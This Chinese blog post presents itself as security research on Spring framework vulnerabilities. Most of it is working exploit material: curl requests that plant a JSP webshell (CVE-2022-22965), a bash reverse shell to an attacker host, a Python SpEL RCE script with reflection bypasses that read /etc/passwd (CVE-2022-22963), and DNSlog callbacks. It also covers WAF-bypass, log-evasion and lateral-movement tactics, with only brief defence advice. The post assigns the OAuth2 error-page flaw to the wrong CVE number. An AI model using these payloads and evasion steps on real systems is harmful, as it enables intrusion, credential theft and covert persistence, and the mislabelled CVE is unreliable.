别让你的 Spring 应用成 “肉鸡”：高危漏洞攻击原理与防御-平芜编程栈

需要先明确：本文仅用于安全研究和防御加固，严禁用于任何非法攻击行为，所有操作需在授权环境下进行。

一、Spring框架高危CVE漏洞的攻击面与核心利用逻辑

Spring作为Java生态中主流的企业级开发框架，其漏洞攻击面主要集中在参数绑定机制、表达式解析引擎、组件集成逻辑三大核心模块。攻击者的核心思路是通过构造恶意输入，突破框架的输入验证边界，劫持程序执行流程，最终实现远程代码执行（RCE）、敏感信息泄露等高危攻击效果。

从攻击链角度分析，Spring漏洞的利用通常分为三个阶段：

环境探测：识别目标Spring版本、JDK版本、部署容器（如Tomcat、Jetty）、组件依赖关系，筛选存在适配漏洞的目标；
漏洞触发：构造符合漏洞利用条件的恶意请求，精准命中框架的逻辑缺陷；
权限拓展：利用漏洞获取初始权限后，进一步读取配置文件、横向移动或提权，扩大攻击范围。

1. 经典RCE漏洞：Spring Core 参数绑定漏洞（CVE-2022-22965）

漏洞原理深度解析

该漏洞的本质是Spring DataBinder在处理属性绑定过程中的过滤缺陷。在JDK 9及以上版本中，Java引入了Module类，而Spring Core对class.module.classLoader这类嵌套属性的过滤不彻底。攻击者可通过恶意请求，篡改Tomcat容器中AccessLogValve的配置参数，实现向目标服务器web目录写入恶意JSP文件，最终触发远程代码执行。

漏洞触发的关键前提：

目标应用使用Spring Framework 5.3.x < 5.3.18 或 5.2.x < 5.2.20 版本；
运行环境为JDK 9+，且应用部署在Tomcat容器中（该漏洞利用依赖Tomcat的日志阀门机制）；
目标接口支持POST请求，且未对请求参数进行严格的白名单过滤。

攻击利用全流程（授权测试环境）

Step 1：漏洞存在性验证
通过构造包含AccessLogValve配置参数的恶意POST请求，尝试向目标web目录写入JSP文件。核心请求如下：

curl-X POST"http://目标IP:端口/任意控制器路径"\-H"Content-Type: application/x-www-form-urlencoded"\-d"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.lang.Runtime.getRuntime().exec(request.getParameter(%22cmd%22));%20%7D%20%25%7Bn%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=malicious_shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

参数核心作用：

pattern：注入JSP恶意代码，通过request.getParameter接收执行命令；
suffix：指定写入文件后缀为.jsp，确保可被容器解析执行；
directory：指定文件写入路径为Tomcat的默认web根目录webapps/ROOT；
prefix：恶意JSP文件的前缀名称，用于后续访问触发。

Step 2：触发恶意代码执行
若漏洞存在，目标服务器会在webapps/ROOT目录下生成malicious_shell.jsp文件，此时通过GET请求访问该文件并传入执行命令：

curl"http://目标IP:端口/malicious_shell.jsp?pwd=j&cmd=whoami"

Step 3：攻击进阶——反弹Shell
为规避目标服务器的输出限制，攻击者通常会构造反弹Shell命令，将执行结果回传到攻击机：

# 攻击机监听端口nc-lvp8888# 构造反弹Shell请求curl"http://目标IP:端口/malicious_shell.jsp?pwd=j&cmd=bash -i >& /dev/tcp/攻击机IP/8888 0>&1"

攻击绕过技巧

WAF绕过：对恶意参数进行URL编码、Unicode编码或分段传输，例如将Runtime替换为\u0052\u0075\u006e\u0074\u0069\u006d\u0065；
路径绕过：若目标webapps/ROOT目录不可写，可尝试写入其他可访问目录（如webapps/项目名），需提前通过目录扫描获取项目结构。

2. 表达式注入漏洞：Spring Cloud Function RCE（CVE-2022-22963）

漏洞原理深度解析

Spring Cloud Function提供了函数路由功能，其RoutingFunction组件在处理spring.cloud.function.routing-expression参数时，直接将用户输入作为SpEL（Spring Expression Language）表达式进行解析执行，未做任何安全过滤。SpEL表达式支持调用Java静态方法，这使得攻击者可通过注入恶意表达式，直接触发远程代码执行。

漏洞区别于其他RCE的核心特点：

无需依赖特定容器（如Tomcat），纯框架层面的逻辑缺陷；
利用方式更简洁，无需写入文件，直接通过表达式执行命令；
影响范围覆盖所有使用Spring Cloud Function的微服务应用，尤其是分布式部署的系统。

攻击利用全流程（授权测试环境）

Step 1：基础利用——直接执行命令
构造包含恶意SpEL表达式的POST请求，目标接口为Spring Cloud Function的默认路由接口/functionRouter：

importrequestsimporturllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)target="http://目标IP:端口/functionRouter"# 构造SpEL表达式，调用Runtime.exec执行id命令payload={"spring.cloud.function.routing-expression":"T(java.lang.Runtime).getRuntime().exec('id')"}headers={"Content-Type":"application/x-www-form-urlencoded"}response=requests.post(target,data=payload,headers=headers,verify=False)print("响应状态码：",response.status_code)print("响应内容：",response.text)

Step 2：进阶利用——绕过表达式过滤
若目标系统对Runtime等关键字进行了过滤，攻击者可通过反射机制构造绕过Payload：

# 反射调用Runtime类执行命令，规避关键字检测bypass_payload={"spring.cloud.function.routing-expression":"T(java.lang.Class).forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('cat /etc/passwd')"}

Step 3：无回显场景利用——DNSlog验证
当目标服务器禁止命令输出回显时，攻击者可通过DNSlog平台验证漏洞是否存在：

# 构造DNSlog请求，替换为自己的DNSlog域名dnslog_payload={"spring.cloud.function.routing-expression":"T(java.lang.Runtime).getRuntime().exec('nslookup your_dnslog_domain.dnslog.cn')"}

通过查看DNSlog平台的访问记录，即可判断漏洞是否触发。

3. 认证授权漏洞：Spring Security OAuth2 RCE（CVE-2018-1270）

漏洞原理深度解析

Spring Security OAuth2是Spring生态中用于处理OAuth2认证授权的组件，其WhitelabelErrorView在处理错误页面时，会将请求参数中的error值直接作为SpEL表达式解析。攻击者可通过构造包含恶意表达式的error参数，触发远程代码执行。

该漏洞的攻击门槛较低，核心原因在于：

错误页面功能默认开启，无需额外配置；
error参数未经过滤，直接参与表达式解析；
影响范围覆盖所有使用Spring Security OAuth2的认证服务器。

攻击利用全流程（授权测试环境）

Step 1：构造恶意GET请求
直接访问OAuth2的授权接口，通过error参数注入恶意SpEL表达式：

curl-X GET"http://目标IP:端口/oauth/authorize?response_type=code&client_id=test&scope=read&redirect_uri=http://test.com&error=%24%7BT(java.lang.Runtime).getRuntime().exec('touch /tmp/hacked_by_spring_vuln')%7D"

Step 2：验证攻击效果
若漏洞存在，目标服务器的/tmp目录下会生成hacked_by_spring_vuln文件，攻击者可通过后续漏洞（如文件读取漏洞）验证文件是否存在。

二、Spring漏洞利用的通用攻击技巧与防御对抗策略

从攻击视角来看，成功利用Spring漏洞不仅需要掌握漏洞原理，更需要应对目标系统的各种防御措施。以下是攻击者常用的攻击技巧和与防御方的对抗策略：

1. 环境适配技巧：精准匹配漏洞利用条件

版本探测：通过/actuator/info接口（若未关闭）获取Spring版本信息，或通过指纹识别工具（如Nmap、ZoomEye）识别目标框架版本；
JDK版本判断：通过构造特殊请求（如包含JDK 9+特有属性的请求），根据响应结果判断目标JDK版本；
容器识别：通过Server响应头判断目标容器（如Tomcat、Jetty），针对性选择漏洞利用Payload。

2. 绕过防御措施的核心手段

WAF绕过：
- 关键字混淆：使用大小写混合（如T(Java.Lang.Runtime)）、空格插入（如T( java.lang.Runtime )）等方式规避规则检测；
- 编码绕过：对恶意参数进行Base64编码，在表达式中通过new String(Base64.getDecoder().decode("编码内容"))解码执行；
- 分段传输：将长Payload拆分为多个参数，通过表达式拼接（如${param.a}${param.b}）还原恶意代码。
日志审计绕过：
- 避免使用敏感命令（如rm、reboot），优先使用cat、ls等低风险命令；
- 利用/dev/null重定向命令输出，避免日志记录攻击行为（如cmd > /dev/null 2>&1）。

3. 无权限环境下的权限拓展策略

攻击者在通过Spring漏洞获取初始权限后，通常会采取以下策略扩大攻击范围：

敏感信息窃取：读取/WEB-INF/application.properties、/WEB-INF/spring-context.xml等配置文件，获取数据库账号密码、第三方接口密钥等信息；
横向移动：利用获取的凭证登录目标服务器的其他服务（如数据库、Redis），或通过SSH密钥登录其他主机；
权限提升：若应用以root权限运行，可直接修改系统配置；若以普通用户运行，可尝试利用系统漏洞（如Dirty Cow）提权。

三、前瞻性分析：Spring漏洞攻击趋势与防御启示

1. 攻击趋势前瞻

组件链攻击成为主流：攻击者不再局限于单个Spring组件漏洞，而是通过组合多个组件漏洞（如Spring Core + Spring Cloud）构建攻击链，突破多层防御；
零日漏洞利用周期缩短：随着漏洞挖掘技术的普及，Spring零日漏洞的曝光到被利用的时间差越来越短，企业面临的应急响应压力增大；
云原生环境下的攻击升级：在K8s等云原生环境中，攻击者可通过Spring漏洞获取Pod权限，进而攻击整个K8s集群，威胁范围呈指数级扩大。

2. 防御体系构建启示

从攻击视角反推防御策略，企业应构建多层防御、全生命周期管控的安全体系：

版本管控：及时升级Spring框架及相关组件到最新版本，禁用已被披露高危漏洞的版本；
输入验证：对所有用户输入进行严格的白名单过滤，尤其是针对class、module、expression等敏感参数；
权限最小化：应用运行时使用最小权限用户，避免以root或管理员权限运行；
安全监控：部署WAF、IDS/IPS等安全设备，监控异常请求（如包含SpEL表达式、AccessLogValve参数的请求）；
应急响应：建立漏洞应急响应机制，定期进行漏洞扫描和渗透测试，及时发现并修复潜在风险。

四、法律与伦理边界：漏洞研究的红线

再次郑重提醒：

未经授权对他人系统进行漏洞测试、攻击，属于违法行为，可能触犯《中华人民共和国网络安全法》《中华人民共和国刑法》等相关法律法规，需承担相应的民事、行政甚至刑事责任；
漏洞研究应在本地测试环境或企业授权的SRC（安全响应中心）范围内进行，研究成果应用于帮助企业加固系统，而非破坏网络安全；
安全从业者应遵守《网络安全从业人员职业道德规范》，坚守法律和伦理底线，共同维护网络空间的安全与稳定。